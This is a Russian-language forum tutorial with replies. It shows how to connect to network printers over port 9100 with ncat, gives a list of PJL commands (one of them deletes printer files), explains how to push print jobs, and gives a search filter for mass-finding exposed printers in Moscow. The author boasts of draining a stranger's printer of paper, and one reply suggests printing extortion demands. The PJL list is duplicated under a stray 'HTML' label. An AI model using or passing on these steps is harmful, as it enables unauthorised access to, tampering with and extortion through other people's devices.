Привет, guest! Содержание Подготовка Подключаемся к принтеру Вытворяем пакости Как послать документ на печать? Как массово искать принтеры ? Подготовка Для начала, нам нужно скачать Nmap: NMAP Качаем Nmap с официального сайта Обязательно смотрим,что бы данная галочка у нас стояла! Подключаемся к принтеру После установки,заходим в командную строку (Win+R и вписываем cmd) Я покажу на примере своего принтера (HP LasetJet CP1525n) Для подключения к принтеру, нам нужно убедится что принтер подключен к интернету (на более свежих моделях можно выполнить подключение по WI-FI) Вписываем в командную строку команду ncat -v ,но для начала разберем что это значит: Команда ncat вызывает в действие саму программу,а параметр -v означает verboose mode (простыми словами,подробный вывод в консоль) Далее,нам нужно вписать IP адрес нашего принтера,его можно узнать на экранчике принтера,или зайдя в панель роутера. И добавить порт 9100 Получается вот так: Нажимаем Enter, И как видим мы подключились,а на принтере один раз моргнула лампочка Вытворяем Пакости Для начала,давайте узнаем какие языки поддерживают принтеры: Принтеры поддерживают несколько языков, PJL (Printer Job Language) PostScript и PCL (Printer Common Language) В данном случае я буду использовать PJL,вот большинство команд для принтера: Команды PJL 1. @PJL INFO ID- Запрашивает идентификационную информацию о принтере. 2. @PJL INFO STATUS - Запрашивает текущий статус принтера. 3. @PJL INFO VARIABLES - Запрашивает переменные, которые могут быть установлены на принтере. 4. @PJL JOB - Начинает новое задание на принтере. 5. @PJL EOJ - Завершает текущее задание на принтере. 6. @PJL SET - Устанавливает переменные для текущего задания. 7. @PJL DEFAULT - Восстанавливает переменные до их значений по умолчанию. 8. @PJL USTATUS - Запрашивает пользовательский статус принтера. 9. @PJL RDYMSG - Запрашивает сообщение готовности принтера. 10. @PJL COMMENT - Добавляет комментарий в задание. 11. @PJL ENTER LANGUAGE - Переключает принтер на другой язык описания задания, например PCL или PostScript. 12. @PJL RESET - Сбрасывает принтер в начальное состояние. 13. @PJL FSQUERY - Запрашивает файл с принтера. 14. @PJL FSDELETE - Удаляет файл с принтера. 15. @PJL FSDIRLIST- Запрашивает список файлов в директории принтера. HTML 1. @PJL INFO ID- Запрашивает идентификационную информацию о принтере. 2. @PJL INFO STATUS - Запрашивает текущий статус принтера. 3. @PJL INFO VARIABLES - Запрашивает переменные, которые могут быть установлены на принтере. 4. @PJL JOB - Начинает новое задание на принтере. 5. @PJL EOJ - Завершает текущее задание на принтере. 6. @PJL SET - Устанавливает переменные для текущего задания. 7. @PJL DEFAULT - Восстанавливает переменные до их значений по умолчанию. 8. @PJL USTATUS - Запрашивает пользовательский статус принтера. 9. @PJL RDYMSG - Запрашивает сообщение готовности принтера. 10. @PJL COMMENT - Добавляет комментарий в задание. 11. @PJL ENTER LANGUAGE - Переключает принтер на другой язык описания задания, например PCL или PostScript. 12. @PJL RESET - Сбрасывает принтер в начальное состояние. 13. @PJL FSQUERY - Запрашивает файл с принтера. 14. @PJL FSDELETE - Удаляет файл с принтера. 15. @PJL FSDIRLIST- Запрашивает список файлов в директории принтера. Как послать документ на печать? Создаем файл Вписываем текст (или можно фотку например) И вписываем данную команду: ncat -v айпи < (символ < обязателен! и тут файл) C:\123.txt C ncat -v айпи < (символ < обязателен! и тут файл) C:\123.txt И как видим,все отправилось! Как массово искать принтеры? Заходим на данный сервис и вписываем такой фильтр: device:"printer" +port:9100 +city:(тут город,я впишу moscow) И видим адреса! Давайте попробуем подключится,и отправить наш документ! Только что мы потратили всю бумагу у принтера :) guest Спасибо что прочитал мою статью :3
scraizis, ну да,но символов в этом пакете ты можешь до 128 мб отправить,оно же все не поместиться на одну страницу
Меня пугают способы использования этого метода ._. А я, как человек с хорошей фантазией, уже придумал несколько способов ._.
амбассадоркуни, один из простейших - текст: "мы смогли взломать твое устройство. Переведи #$ на #, чтобы мы забыли о тебе и не распространяли твою информацию". Почему мне в голову всегда лезет противозаконный мусор?!